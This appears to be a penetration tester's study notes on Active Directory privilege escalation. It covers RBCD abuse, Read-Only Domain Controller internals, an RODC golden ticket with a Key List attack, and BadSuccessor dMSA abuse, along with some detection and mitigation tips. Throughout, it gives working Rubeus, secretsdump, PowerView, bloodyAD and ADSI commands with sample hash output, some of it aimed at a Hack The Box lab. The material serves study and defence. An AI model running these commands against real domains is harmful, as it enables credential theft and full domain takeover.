Administratortodcorp-mgmt.Access
dcorp-mgmtasAdministrator.
🚨 Additional Notes & Detection
🔍 Detection:
Event ID 4769: TGS requests, especially for sensitive users
Event ID 4624: Logon events showing unusual user logons from machine accounts
Monitor modifications to
msDS-AllowedToActOnBehalfOfOtherIdentityvia Directory Services Changes auditingFlag any use of
S4U2Self/S4U2Proxy(e.g., via Rubeus)
🧱 Mitigation:
Restrict who can write to
msDS-AllowedToActOnBehalfOfOtherIdentityLower
ms-DS-MachineAccountQuotato 0 if not neededMonitor ACLs using BloodHound or PowerView
Avoid giving unnecessary write access to computer accounts
Can User Account Enough ??
1️⃣ Starting Situation
Suppose you find in BloodHound:
attacker_user
│
GenericWrite
│
FILE01$
Meaning:
attacker_user can modify FILE01$ attributes
One of those attributes is:
msDS-AllowedToActOnBehalfOfOtherIdentity
So the user can configure RBCD on FILE01.
Key Rule to Remember
For RBCD delegation:
Delegating account must have an SPN
So attackers usually use:
Computer accounts
Service accounts
instead of normal users.
2️⃣ First Thought (Your Idea)
You might think:
FILE01$
msDS-AllowedToActOnBehalfOfOtherIdentity:
attacker_user
Meaning:
attacker_user can impersonate users to FILE01
But here’s the catch.
3️⃣ Why a Normal User Usually Fails
RBCD ultimately relies on Kerberos service delegation.
To perform the S4U steps, the delegating account must behave like a service.
That means the account must have an SPN (Service Principal Name).
Typical accounts with SPNs:
Computer accounts
Service accounts
Accounts running services
Normal users usually do not have SPNs, so they cannot request the required service tickets for S4U2Self/S4U2Proxy.
So this setup normally won’t work directly:
FILE01$
msDS-AllowedToActOnBehalfOfOtherIdentity:
attacker_user
If You Control a User Account
If you compromise a user account and can modify its attributes, you can add an SPN.
Example:
user: attacker_user
Add SPN:
HTTP/fake
Now that user behaves like a Kerberos service.
5️⃣ Now the Delegation Works
Because the user now has an SPN, Kerberos treats it like a service.
The user can perform the delegation steps.
Step 1 — S4U2Self
The account requests:
Administrator → attacker_user
Ticket returned:
Administrator → attacker_user
Step 2 — S4U2Proxy
Then the account requests:
Administrator → FILE01
The KDC checks FILE01’s delegation attribute:
msDS-AllowedToActOnBehalfOfOtherIdentity
Sees:
attacker_user allowed
So it issues:
Administrator → FILE01
6️⃣ Result
The attacker can now access FILE01 as Administrator.
Example services might include:
CIFS/FILE01
HOST/FILE01
RPC/FILE01
7️⃣ Why Attackers Often Use Computers Instead
Even though the user+SPN trick works, attackers often just create a computer account because:
Computer accounts automatically:
have SPNs
support delegation operations
integrate smoothly with Kerberos tooling
And they can usually create them because of:
MachineAccountQuota
(default = 10)
8️⃣ The Attack Pattern You Described
Your chain would look like this:
Compromise user
│
Add SPN to user
│
GenericWrite on target computer
│
Set RBCD
│
S4U2Self
│
S4U2Proxy
│
Impersonate Administrator to target
This is a valid RBCD abuse scenario.
RODC = Golden Ticket + Keylist Attack - Extra
What is RODC ??
🔐 Read-Only Domain Controller (RODC)
1. 📌 What is an RODC?
A Read-Only Domain Controller (RODC) is a type of Domain Controller introduced in Windows Server 2008 that:
Holds a read-only copy of Active Directory (AD)
Is designed for untrusted or physically insecure environments (e.g., branch offices)
Can authenticate users, but cannot modify AD data
👉 Think of it as:
“A Domain Controller with limited trust and limited power”
2. ⚙️ How RODC Works
🔁 Replication Model
Inbound only replication
Receives data from writable DCs
❌ Never sends changes back
📂 Active Directory Database
- Stores:
- Users, groups, policies (read-only)
- Does NOT store by default:
- Password hashes
- Sensitive attributes (e.g., LAPS, BitLocker keys)
🔑 Authentication Flow
Case 1: Password Cached
User logs in
RODC checks local cache
Authenticates locally ✅
Case 2: Password NOT Cached
RODC forwards request to writable DC
Writable DC authenticates
Password may be cached (based on policy)
3. 🔐 Credential Caching (Core Concept)
Default Behavior
- ❌ No passwords stored
Configurable via:
- Password Replication Policy (PRP)
PRP Controls:
⚠️ Important Rule:
For local authentication:
✅ User password must be cached
✅ Computer password must be cached
4. 🛡️ Key Security Features
1. Read-Only AD Database
- Prevents unauthorized AD modifications
2. Filtered Attribute Set (FAS)
Sensitive attributes are never replicated
Examples:
- BitLocker keys
- LAPS passwords
3. Credential Isolation
Only selected credentials stored
Limits blast radius if compromised
4. Admin Role Separation
Local admin access can be delegated
❌ No Domain Admin privileges required
5. SYSVOL Protection
- Changes on RODC:
- ❌ Not replicated to domain
6. DNS (Read-Only / Secondary)
- Prevents DNS tampering
5. ⚖️ RODC vs Writable DC
6. 🌍 Why RODCs Are Important
✔️ 1. Branch Office Security
- Used where:
- Physical security is weak
- IT staff is limited
✔️ 2. Reduced Risk Exposure
- Even if stolen:
- No full AD database
- Limited credentials
✔️ 3. Local Authentication
- Allows logins without WAN dependency
✔️ 4. Controlled Credential Storage
- Prevents sensitive accounts from exposure
✔️ 5. Delegated Management
- Non-admin users can manage the server
7. ⚠️ Real-World Misuse (Very Important)
This is where things start breaking:
❌ Common Mistakes
Adding Domain Users / Authenticated Users to cache policy
Allowing too many credentials to be cached
Delegating RODC admin to low-priv users
Treating RODC like a normal server
💥 Result:
RODC becomes:
“Almost a writable DC… but insecure”
8. 🧠 Key Takeaways
- RODC is:
- A security trade-off, not a secure DC replacement
- Security depends heavily on:
- Password Replication Policy
- Who manages it
- Misconfigured RODC:
- Can lead to credential exposure
- Can become a pivot point for domain compromise
🔐 RODC Internal Design & Key Attributes
1. 🧩 RODC Administration Model (No Local Accounts)
📌 Key Concept
- When a server becomes a Domain Controller:
- ❌ Local users/groups disappear
- ✅ Active Directory controls access
👉 So question:
Who manages an RODC if Domain Admins shouldn’t log into it?
🔑 Solution: managedBy Attribute
Attribute:
managedByStored on: RODC computer object in AD
PS C:Userselad> Get-ADComputer RODC -Properties msDS-KrbTgtLink
DistinguishedName : CN=RODC,CN=Computers,DC=shenanigans,DC=labs
DNSHostName : RODC.shenanigans.labs
Enabled : True
msDS-KrbTgtLink : CN=krbtgt_25078,CN=Users,DC=shenanigans,DC=labs
Name : RODC
ObjectClass : computer
ObjectGUID : 2b81a6b5-926d-438b-8003-cb173ce196d6
SamAccountName : RODC$
SID : S-1-5-21-1437000690-1664695696-1586295871-1110
UserPrincipalName :
PS C:Userselad> Get-ADUser krbtgt_25078 -Properties msDS-SecondaryKrbTgtNumber,msDS-KrbTGTLinkBl
DistinguishedName : CN=krbtgt_25078,CN=Users,DC=shenanigans,DC=labs
Enabled : False
GivenName :
msDS-KrbTGTLinkBl : {CN=RODC,CN=Computers,DC=shenanigans,DC=labs}
msDS-SecondaryKrbTgtNumber : 25078
Name : krbtgt_25078
ObjectClass : user
ObjectGUID : bdac311c-60a7-45fc-8997-09cf258570c0
SamAccountName : krbtgt_25078
SID : S-1-5-21-1437000690-1664695696-1586295871-1111
Surname :
UserPrincipalName :
✔️ What it does:
Specifies a user or group
That entity gets:
- ✅ Local Administrator access on the RODC
⚠️ Why This Matters
This is NOT just informational (unlike normal AD objects)
It directly controls administrative access
🧠 Summary
Discovering RODCs is pretty easy. We can query for all “krbtgt” accounts in AD or simply ask for all computer accounts with attributes unique to RODCs (msDS-Reveal-OnDemandGroup, msDS-NeverRevealGroup, msDS-RevealedList, msDS-AuthenticatedToAccountList – described further down in the post).
Searching for computers with the PrimaryGroupID set to ‘521’ will return domain RODCs (or search for DCs with “IsReadOnly” set to True) which effectively identifies them being in the group “Read-only Domain Controllers’.
🔐 RODC Default Denied Groups (Password Replication Protection)
📌 What is this?
These are high-privilege Active Directory groups that are explicitly blocked from having their credentials cached on an RODC.
👉 Controlled via:
msDS-NeverRevealGroup(Deny List)
🚫 Default Denied Groups
These groups are never allowed to have passwords stored on an RODC:
🔑 Why This Exists
🎯 Core Idea:
“RODC should NEVER hold Tier Zero credentials”
🔥 If these were cached:
Attacker compromises RODC ➜ dumps hashes ➜
Immediate:
- Domain takeover
- Forest compromise
- Golden Ticket creation
⚙️ How It Works Internally
When authentication happens:
- RODC checks:
- Is user in Allow List (
msDS-RevealOnDemandGroup)?
- Is user in Allow List (
- Then checks:
- Is user in Deny List (
msDS-NeverRevealGroup)?
- Is user in Deny List (
⚠️ Important Rule:
Deny ALWAYS overrides Allow
Even if:
- A Domain Admin is mistakenly added to Allow list ❌
➡️ It still will NOT be cached
🧠 Special Case: RODC Account Itself
- RODC computer account:
- Password IS stored locally
- But:
- ❌ Other RODC accounts are NOT cached
👉 Prevents:
- Credential sharing between RODCs
🔐 Security Significance
✔️ 1. Protects Tier Zero
These groups are:
Core identity controllers
Must never exist on less-trusted systems
✔️ 2. Limits Blast Radius
If RODC is compromised:
- Only non-critical accounts exposed
✔️ 3. Enforces Trust Boundary
RODC = Lower trust zone
Writable DC = Higher trust zone
⚠️ Reality Check (Important Insight)
Even with this protection:
❌ Only these groups are protected by default
❌ Other privileged accounts (e.g., service accounts, delegated admins) may still be cached
👉 Meaning:
Security depends heavily on how the Allow list is configured
2. 🔑 Authentication Design in RODC
RODC must authenticate users without full trust
📌 Core Requirement
To authenticate locally:
Needs user password
Needs computer password
👉 But:
- RODC does NOT store all passwords
3. 📋 Password Replication Control (Critical)
This is controlled using two main attributes
✅ 1. Allowed List
Attribute: msDS-RevealOnDemandGroup
✔️ Purpose:
Defines:
“Whose credentials can be fetched & cached”
❌ 2. Denied List
Attribute: msDS-NeverRevealGroup
✔️ Purpose:
Defines:
“Whose credentials must NEVER be cached”
⚠️ Priority Rule
- Deny list ALWAYS wins
Get-ADComputer $ROCName -Property * | Select Name,ManagedBy,’msDS-AuthenticatedToAccountlist’,’msDS-NeverRevealGroup’,’msDS-RevealedDSAs’,’msDS-RevealedUsers’,’msDS-RevealOnDemandGroup’
🧠 Summary
4. 🔄 Authentication Flow (Step-by-Step)
Case: Password NOT Cached
User logs in
RODC → forwards request to writable DC
Writable DC authenticates user
RODC requests password
If allowed → password cached locally
Case: Password Cached
User logs in
RODC authenticates locally ✅
5. 🔐 Kerberos Design in RODCs
📌 Problem:
RODC cannot use domain-wide KRBTGT key
✔️ Solution: Per-RODC KRBTGT Account
Each RODC gets:
- A unique Kerberos service account
Naming Format:
KRBTGT_XXXXX
🔗 Key Attributes
1. On RODC Computer Object:
msDS-KrbTgtLink- Points to its KRBTGT account
2. On KRBTGT Account:
msDS-KrbTgtLinkBl(backlink)- Points back to RODC
3. Key Version:
msDS-SecondaryKrbTgtNumber- Tracks key version (kvno)
🧠 Summary
6. 🎟️ Ticket Generation in RODC
✔️ When RODC issues TGT:
- Uses:
- Its own KRBTGT_XXXXX key
- Includes:
- kvno (key version number)
✔️ Ticket Usage:
- Can request:
- Service tickets (TGS)
✔️ Validation by Writable DC:
Writable DC will accept RODC TGT only if:
✅ User is in msDS-RevealOnDemandGroup
❌ NOT in msDS-NeverRevealGroup
🔄 Ticket Upgrade
RODC-issued TGT can be:
- Upgraded to:
- Full domain TGT
By requesting:
- Service: KRBTGT
7. 📊 Credential Tracking Attributes
These are extremely important for visibility:
1. msDS-RevealedList
- Users whose passwords are:
- ✅ Cached on RODC
2. msDS-AuthenticatedToAccountList
- Users who:
- ✅ Authenticated via RODC
🧠 Summary
8. 🧬 RODC-Specific Attributes Overview
9. 🎯 Why These Attributes Are Important
✔️ Security Control Layer
- Define:
- Who can authenticate
- Whose credentials are exposed
✔️ Authentication Logic
- Entire RODC authentication depends on:
- These attributes
✔️ Kerberos Isolation
- Separate KRBTGT:
- Limits blast radius
✔️ Visibility & Auditing
- You can:
- Track cached users
- Track authentication patterns
10. 🧠 Final Understanding
RODC is NOT just:
“A read-only DC”
It is actually:
“A controlled authentication proxy with selective credential storage and isolated Kerberos trust”
🔐 All Ways to Get Admin on an RODC
Think in terms of what you control:
1. 🖥️ Control the RODC Host (OS-Level)
✔️ Methods
Credential reuse (local admin creds)
Service exploitation
Pass-the-Hash / Kerberos auth
Interactive sessions (RDP, WinRM)
🎯 Result
- Direct:
- Local admin / SYSTEM
- Dump:
- Cached creds
- KRBTGT_XXXXX
2. 🧬 Control the RODC AD Object (Most Powerful)
This is where most escalation comes from.
✔️ If you have ACLs like:
GenericAllGenericWriteWriteDACLWriteOwner
🔑 You can abuse:
(A) managedBy
- Add yourself → become admin
(B) Password Replication Attributes
msDS-RevealOnDemandGroupmsDS-NeverRevealGroup
👉 Enables:
- Credential exposure (Key List attack later)
(C) RBCD
Set
msDS-AllowedToActOnBehalfOfOtherIdentityImpersonate users to RODC
(D) Shadow Credentials
Add
msDS-KeyCredentialLinkAuthenticate as RODC computer account
3. 👥 Abuse Delegated Admin Model
✔️ Paths
(A) Compromise RODC Admin Group
- Users in
managedBy
(B) Weak Group Control
- You can:
- Modify group membership
- Add yourself
🎯 Result
- Become RODC admin indirectly
4. 🔐 Credential-Based Access
✔️ If any of these are cached on RODC:
Local IT admins
Service accounts
Delegated admins
🎯 You can:
Dump them
Reuse credentials
Pivot to admin
5. ⚙️ Kerberos Delegation Abuse
✔️ RBCD (you mentioned)
- Needs chaining
✔️ Constrained Delegation (RODC has it enabled)
RODCs have:
TrustedToAuthForDelegation = TRUE
👉 Meaning:
- They can request TGS on behalf of users
⚠️ Abuse scenario:
- If you control RODC machine account:
- You can leverage delegation flows
Golden Ticket + Key List Attack
🔐 1. RODC Golden Ticket
📌 Concept
Similar to classic Golden Ticket
But uses:
- RODC-specific KRBTGT (
KRBTGT_XXXXX)
- RODC-specific KRBTGT (
Scope is limited to:
- Users allowed by
msDS-RevealOnDemandGroup
- Users allowed by
✅ Prerequisites
You must have:
✔️ Local admin access on RODC
✔️ Ability to dump secrets (LSASS / ntds.dit)
✔️ Extract:
- KRBTGT_XXXXX AES/NT hash
✔️ Domain SID
✔️ Target user RID
🔍 Extracting RODC KRBTGT Key
Example (using secretsdump-like approach):
secretsdump.py-just-dc-user krbtgt_25078 domain.local/rodc$@RODC-IP
👉 Output:
- AES256 / NTLM hash of RODC KRBTGT
🛠️ Forge RODC Golden Ticket
Using Rubeus:
Rubeus.exe golden \
/rodcNumber:25078 \
/aes256:<KRBTGT_AES256_HASH> \
/user:admin \
/id:1136 \
/domain:shenanigans.labs \
/sid:S-1-5-21-XXXXX
[*] Action: Build TGT
[*] Building PAC
[*] Domain : SHENANIGANS.LABS (SHENANIGANS)
[*] SID : S-1-5-21-1437000690-1664695696-1586295871
[*] UserId : 1136
[*] Groups : 520,512,513,519,518
[*] ServiceKey : EACD894DD0D934E84DE35860CE06A4FAC591CA63C228DDC1C7A0EBBFA64C7545
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : EACD894DD0D934E84DE35860CE06A4FAC591CA63C228DDC1C7A0EBBFA64C7545
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : shenanigans.labs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'admin@shenanigans.labs'
[*] AuthTime : 1/19/2023 8:05:52 PM
[*] StartTime : 1/19/2023 8:05:52 PM
[*] EndTime : 1/20/2023 6:05:52 AM
[*] RenewTill : 1/26/2023 8:05:52 PM
[*] base64(ticket.kirbi):
doIFgzCCBX+gAwIBBaEDAgEWooIEazCCBGdhggRjMIIEX6ADAgEFoRIbEFNIRU5BTklHQU5TLkxBQlOi
JTAjoAMCAQKhHDAaGwZ
🔍 What’s Happening Internally
/rodcNumber→ maps to:msDS-SecondaryKrbTgtNumber
- Ticket is:
- Signed using RODC KRBTGT
- PAC is:
- Forged locally
⚠️ Limitation
This ticket only works if:
✔️ User is in
msDS-RevealOnDemandGroup❌ Not in
msDS-NeverRevealGroup
🔑 2. Key List Attack
📌 Concept
Abuses:
RODC’s ability to request credentials from writable DC
✅ Prerequisites
✔️ RODC Golden Ticket (from previous step)
✔️ Target account must be:
- Allowed in
msDS-RevealOnDemandGroup - Not denied
- Allowed in
🛠️ Request Key List (Extract NT Hash)
Rubeus.exe asktgs \
/ticket:<base64_TGT> \
/service:krbtgt/domain.local \
/dc:dc1.domain.local \
/keyList \
/enctype:aes256
ServiceName : krbtgt/SHENANIGANS.LABS
ServiceRealm : SHENANIGANS.LABS
UserName : admin
UserRealm : SHENANIGANS.LABS
StartTime : 1/19/2023 8:06:36 PM
EndTime : 1/20/2023 6:05:52 AM
RenewTill : 1/1/0001 12:00:00 AM
Flags : name_canonicalize, pre_authent
KeyType : aes256_cts_hmac_sha1
Base64(key) : 1KBODJsZr0COB8F0hGmHmY87dvn1tF57tcgd8op65I8=
Password Hash : 64F12CDDAA88057E06A81B54E73B949B
🔍 What Happens Internally
- Sends:
- TGS-REQ with
KERB-KEY-LIST-REQ
- TGS-REQ with
- DC responds:
KERB-KEY-LIST-REP
- Output includes:
- NT hash of target user
🎯 Result
👉 You now have:
NT hash of target account
Can perform:
- Pass-the-Hash
- Kerberos abuse
🔥 3. Attribute Manipulation (Core Escalation Logic)
📌 Concept
Control over RODC object ⇒ control over:
- Who’s credentials can be retrieved
✅ Prerequisites
You must have one of:
✔️
GenericAll✔️
GenericWrite✔️
WriteDACL✔️
WriteOwner✔️
WriteProperty(on relevant attributes)
🛠️ Add Target to Allowed List
Using PowerView:
Set-DomainObject-IdentityRODC$-Set @{
'msDS-RevealOnDemandGroup'=@(
'CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local',
'CN=Administrator,CN=Users,DC=domain,DC=local'
)
}
🛠️ Verify Change
Get-DomainComputer RODC -Properties msDS-RevealOnDemandGroup
🛠️ Remove from Deny List (if needed)
Set-DomainObject -Identity RODC$ -Clear 'msDS-NeverRevealGroup'
🔍 What This Does
- Expands:
- Who RODC is allowed to fetch credentials for
- Breaks:
- Default trust boundary
🔑 4. Gaining Admin Access to RODC (via managedBy)
📌 Concept
managedBy ⇒ local admin on RODC
🛠️ Modify managedBy
Set-DomainObject-IdentityRODC$-Set @{
managedBy='CN=attacker,CN=Users,DC=domain,DC=local'
}
🔍 Result
- Attacker becomes:
- Local admin on RODC
- Can:
- Dump credentials
- Extract KRBTGT
How we get the hash after golden ticket ??
🎯 Goal
You have:
✔️ RODC admin access
✔️ RODC KRBTGT_XXXXX key
✔️ Modified:
msDS-RevealOnDemandGroup→ includes Domain AdminmsDS-NeverRevealGroup→ cleared / doesn’t block
👉 Goal:
Get Domain Admin NT hash
🔐 Step-by-Step: What Actually Happens
1. 🧾 You Forge an RODC TGT
Using Rubeus, you create a ticket like:
Rubeus.exe golden /rodcNumber:25078 /aes256:<RODC_KRBTGT_KEY> /user:Administrator /id:500 /domain:corp.local /sid:S-1-5-21-XXXXX
🔍 Internally
You are saying:
“I am Administrator, authenticated by THIS RODC”
Ticket is:
- Signed with RODC KRBTGT
- Contains:
- User = Administrator
- Groups = Domain Admins, etc.
2. 🧠 Why This Ticket Is Trusted
When you send this ticket to a writable DC:
The DC checks:
✔️ Condition 1:
Is user allowed for this RODC?
msDS-RevealOnDemandGroup→ ✔️ YES
✔️ Condition 2:
Is user denied?
msDS-NeverRevealGroup→ ❌ NO (you removed it)
👉 Result:
Writable DC accepts the RODC-issued identity
3. 🔑 You Send a Special Request (Key List)
Now you don’t request a normal service ticket.
You send:
Rubeus.exe asktgs /ticket:<TGT> /service:krbtgt/corp.local /keyList
🔍 What This Means
You are asking:
“Give me the keys (credentials) for this user”
4. ⚙️ What Writable DC Does Internally
This is the critical part.
🧠 Normal Behavior (Legitimate RODC)
When a real RODC needs NTLM support:
It asks DC:
“Give me the password/hash of user X”
DC checks:
- Is RODC allowed to know this user’s credentials?
If YES:
- DC sends:
- NT hash
- Kerberos keys
- DC sends:
🔥 What You Did
You spoofed the RODC itself
- Your forged TGT = “I am a trusted RODC acting for this user”
👉 So DC believes:
“This RODC is allowed to retrieve Administrator’s credentials”
5. 📥 DC Responds with Credentials
DC sends:
KERB-KEY-LIST-REP
Containing:
Password Hash : <NTLM hash of Administrator>
🎯 Final Result
You now have:
✔️ Domain Admin NT hash
✔️ Can perform:
- Pass-the-Hash
- Silver Ticket
- Full domain compromise
🧠 Why This Works (Core Insight)
🔑 Root Cause
RODCs are trusted to retrieve credentials for allowed users
❗ Trust is Controlled By:
msDS-RevealOnDemandGroupmsDS-NeverRevealGroup
🔥 You Broke the Model By:
Adding Domain Admin to allowed list
Removing from deny list
Forging RODC identity
👉 So DC thinks:
“This is a legitimate RODC requesting valid credentials”
⚠️ Important Clarification
This is NOT:
Cracking password
Dumping LSASS from DC
👉 It is:
Asking DC to hand over the hash legitimately
🧩 Why Golden Ticket Alone Is Not Enough
RODC Golden Ticket:
✔️ Authenticates you as user
❌ Does NOT give hash
👉 Key List Attack is required to:
- Extract credentials
🔥 Full Chain (Clean View)
Compromise RODC
Dump KRBTGT_XXXXX
Modify:
- RevealOnDemandGroup
- NeverRevealGroup
Forge RODC TGT (as DA)
Send Key List request
DC returns DA hash
🧠 Final One-Line Understanding
You trick the Domain Controller into thinking a trusted RODC is requesting credentials for a user it is allowed to cache — so it gives you the hash.
🔐 What does the DC actually send back?
📌 Your question
“We send TGT → does DC give TGS with hash?”
✔️ Precise Answer:
Yes and no (important nuance):
✔️ You do receive a TGS-REP
✔️ Inside that response is a special structure:
KERB-KEY-LIST-REP
✔️ That structure contains:
- Kerberos keys (AES, etc.)
- NT hash (NTLM hash)
🧠 So technically:
👉 It’s not:
“normal TGS containing a hash”
👉 It is:
“TGS response containing a credential structure (key list)”
🔍 What is inside the response?
From your example:
ServiceName : krbtgt/DOMAIN.LOCAL
UserName : admin
KeyType : aes256
Password Hash : 64F12CDDAA88057E06A81B54E73B949B
📌 Internally it contains:
AES keys (Kerberos)
RC4 key (NT hash)
Possibly multiple encryption types
🎯 Why does DC send this?
Because it thinks:
“This RODC is allowed to cache this user’s credentials”
So instead of:
- Sending just a ticket
It sends:
- Actual credential material
🔑 Important Doubt Cleared
❓ “Do we still need to dump RODC cache?”
✔️ Answer: NO
Once Key List Attack succeeds:
- You already have:
- ✔️ NT hash of target
- So:
- ❌ No need to check RODC cache
- ❌ No need to wait for caching
🧠 Why?
Because:
👉 Key List Attack is:
More powerful than cache dumping
🔥 Key Difference (Very Important)
🧠 Final Understanding (Critical Insight)
With Key List Attack, you are not extracting existing credentials — you are forcing the Domain Controller to give you fresh credential material on demand.
⚠️ One More Subtle Point
Even though you get a TGS-REP, the important part is:
👉 Not the ticket itself
👉 But the credential data embedded in it
🎯 Final Answer (Clean)
When you send the forged RODC TGT and request a key list, the Domain Controller returns a TGS-REP that contains a special credential structure (
KERB-KEY-LIST-REP) which includes the target user’s NT hash. Once you obtain this hash, you do not need to interact with the RODC cache anymore, because you already have the credential directly from the Domain Controller.
🧠 One-Line Mental Model
“Golden Ticket gives identity → Key List Attack converts identity into credentials.”
PoC - RBCD + Properties Manipluation
Note:
Since user belongs to tier 1 he can add to RODC01 group and modify the policy since he can WriteAccounPermission Rights
bloodyAD -u l.wilson_adm -p 'Pass123!' -d garfield.htb --host 10.129.23.208 add groupMember "RODC Administrators" l.wilson_adm
Note
🔴 msDS-NeverRevealGroup (DENY LIST)
👉 Users/groups here:
❌ Their passwords will NEVER be cached on RODC
🟢 msDS-RevealOnDemandGroup (ALLOW LIST)
👉 Users/groups here:
✅ Their passwords CAN be cached on RODC (on request)
Note: It’s been cleared now
Bad Successor ( dMSA Abuse )
🎯 What is a dMSA (Delegated Managed Service Account)?
Before defining dMSA, understand one thing:
👉 dMSA is not just another service account.
The main purpose of dMSA is:
Secure migration from legacy service accounts
↓
to
Managed Service Accounts
This migration capability is what makes dMSA unique.
📌 Official Definition
A Delegated Managed Service Account (dMSA) is a special Active Directory account introduced in Windows Server 2025 that allows organizations to migrate existing service accounts to a managed identity while preserving access, permissions, and service functionality.
Think:
Old Service Account
↓
Migration Relationship
↓
dMSA
🔥 Why Was dMSA Created?
Microsoft looked at large enterprises and found:
Reality
Thousands of services still run as:
👤 svc_sql
👤 svc_backup
👤 svc_exchange
👤 svc_iis
These accounts may have existed for:
📅 5 years
📅 10 years
📅 15 years
These Accounts Usually Have
✅ Group Memberships
SQL Admins
Backup Operators
Server Admins
✅ Service Permissions
Database Access
File Share Access
Application Access
✅ Kerberos SPNs
MSSQLSvc/SQL01
HTTP/WEB01
✅ Delegation Settings
Constrained Delegation
Resource Based Delegation
✅ Scheduled Tasks
Backup Jobs
Automation Scripts
🚨 Migration Problem
Suppose company wants to replace:
svc_sql
with:
gMSA_SQL$
What must be migrated?
Permissions
SPNs
Delegations
Access Rights
Group Memberships
Application Configurations
Scheduled Tasks
Kerberos Settings
In a large enterprise:
1000+
Service Accounts
This becomes a nightmare.
Microsoft’s Goal
Microsoft wanted:
Old Account
↓
New Managed Account
without:
❌ Rebuilding everything
❌ Service outages
❌ Permission mistakes
❌ Manual migration work
🎯 Core Idea Behind dMSA
The major innovation is:
“Successor Relationship”
Instead of creating a completely unrelated account:
svc_sql
gMSA_SQL$
Microsoft wanted:
svc_sql
↓
Successor
↓
dMSA_SQL$
AD now understands:
This account replaces that account.
🔥 What Makes dMSA Different?
MSA
Knows:
I am a service account.
gMSA
Knows:
I am a service account
used by multiple computers.
dMSA
Knows:
I am replacing another account.
This is the huge difference.
Abusing Bad Successor ( Example - 1 )
Technical Analysis
Attack Chain Overview
The BadSuccessor attack follows a multi-stage process:
Reconnaissance: Enumerate writable Organizational Units
dMSA Creation: Create or modify delegated managed service accounts
Privilege Linking: Associate dMSA with high-privilege accounts (simulating the migration)
Ticket Manipulation: Leverage Kerberos ticketing to obtain elevated access
Credential Extraction: Dump credentials via KERB-DMSA-KEY-PACKAGE
Phase 1: Environmental Reconnaissance
The attack begins by identifying vulnerable OUs where the current user has write permissions. Attackers scan Active Directory to locate OUs with insufficient access restrictions.
Phase 2: dMSA Object Manipulation
Once a target OU is identified, the attacker creates a new msDS-DelegatedManagedServiceAccount object or modifies an existing one. Key attributes configured include:
msDS-DelegatedMSAState: Set to 2 (active state)msDS-ManagedAccountPrecededByLink: Points to the target high-privilege user DNmsDS-ManagedPasswordInterval: Password rotation intervaluserAccountControl: Workstation trust account flagsmsDS-SupportedEncryptionTypes: Kerberos encryption types
Phase 3: Kerberos Ticket Exploitation
The exploitation leverages Kerberos ticket-granting mechanisms:
Obtain TGT for the principal with dMSA retrieval permissionsa. First, find the LUIDb. Now, dump their TGT
Request TGS for the dMSA account using the TGT
Use the dMSA TGS to request additional service tickets with elevated privileges
Phase 4: Credential Access and Lateral Movement
With elevated tickets, attackers can access high-value resources and perform lateral movement across the domain.
dMSA Credential Dumping via KERB-DMSA-KEY-PACKAGE
Understanding KERB-DMSA-KEY-PACKAGE
When you request a TGT for a dMSA, it comes with a new structure called KERB-DMSA-KEY-PACKAGE. This structure includes two fields: current-keys and previous-keys.
According to Microsoft documentation, these are supposed to contain keys related to the current and previous password of the dMSA. More specifically, these are the keys for the account that it has “migrated,” the one set in the msDS-ManagedAccountPrecededByLink attribute.
Example Output
dMSA current keys found in TGS:
AES256: e2a4d53a420e9744cfe0e02be4737dbf54696de3b2cd9a8b1660f0766ba44c07
AES128: f85231afe622e50334b88ef5d42927b1
RC4: c26ce2ac39887be229af3b45388e6050
dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: e16081eb077aca74bdbf8af12af43ac9
Credential Extraction Process
The KERB-DMSA-KEY-PACKAGE structure can be exploited to extract credential material:
TGT Acquisition: Request a Ticket Granting Ticket for the dMSA account
Package Extraction: Parse the KERB-DMSA-KEY-PACKAGE from the TGT response
Key Retrieval: Extract current and previous password keys from the package
Credential Reconstruction: Use extracted keys to reconstruct usable credentials
Abusing Bad Successor ( Example - 2 )
The vulnerability has been dubbed BadSuccessor and resides in the ability to abuse the legacy account migration process to dMSA. Its exploitation does not require prior elevation of privilege and can run in domains that do not even actively use dMSAs, as long as at least one domain controller running Windows Server 2025 exists.
Key features of BadSuccessor
Privilege escalation allowing complete domain control.
Affected product: Windows Server 2025.
Potential impact: Privilege escalation allowing complete domain control.
Operating requirements:
- ◦ Write permission to a dMSA account (existing or newly created).
- ◦ Permission to create objects in an Organizational Unit (OU).
Exploitation process
The vulnerability lies in how the KDC (Key Distribution Center) treats the msDS-ManagedAccountPrecededByLink attribute.
This link indicates which account is being replaced by the dMSA, and the KDC, without performing additional validations, grants the dMSA all the privileges of the original account, including:
SID of the replaced user.Group memberships (including Domain Admins).
Historical credentials of the migrated user (RC4-HMAC key).
SID of the replaced user.
Group memberships (including Domain Admins).
Historical credentials of the migrated user (RC4-HMAC key).
dMSA current keys found in TGS:
AES256: e2a4d53a420e9744cfe0e02be4737dbf54696de3b2cd9a8b1660f0766ba44c07
AES128: f85231afe622e50334b88ef5d42927b1
RC4: c26ce2ac39887be229af3b45388e6050
dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: e16081eb077aca74bdbf8af12af43ac9
Attack flow
1- Create a new dMSA in an OU where you have CreateChild permissions.
New-ADServiceAccount -Name -DNSHostName -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword -path “OU=test,DC=domain,DC=com”
2- Set the attributes:
msDS-ManagedAccountPrecededByLink → objective DN (e.g. CN=Administrator,CN=Users,DC=dominio,DC=local)
msDS-DelegatedMSAState → 2 (full migration)
msDS-ManagedAccountPrecededByLink → objective DN (e.g. CN=Administrator,CN=Users,DC=dominio,DC=local)
msDS-DelegatedMSAState → 2 (full migration)
$dMSA = [ADSI]”LDAP://CN=attacker_dmsa,OU=test,DC=domain,DC=com”
$dMSA.Put(“msDS-DelegatedMSAState”,2)
$dMSA.Put(“msDS-ManagedAccountPrecededByLink”,
“CN=Administrator,CN=users,DC=domain,DC=com”)
$dMSA.SetInfo()
3- Request a TGT for the dMSA (e.g. with Rubeus):
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/dominio.com /dmsa /ptt /opsec /nowrap /ticket:<Machine TGT>
4- The TGT obtained will include:
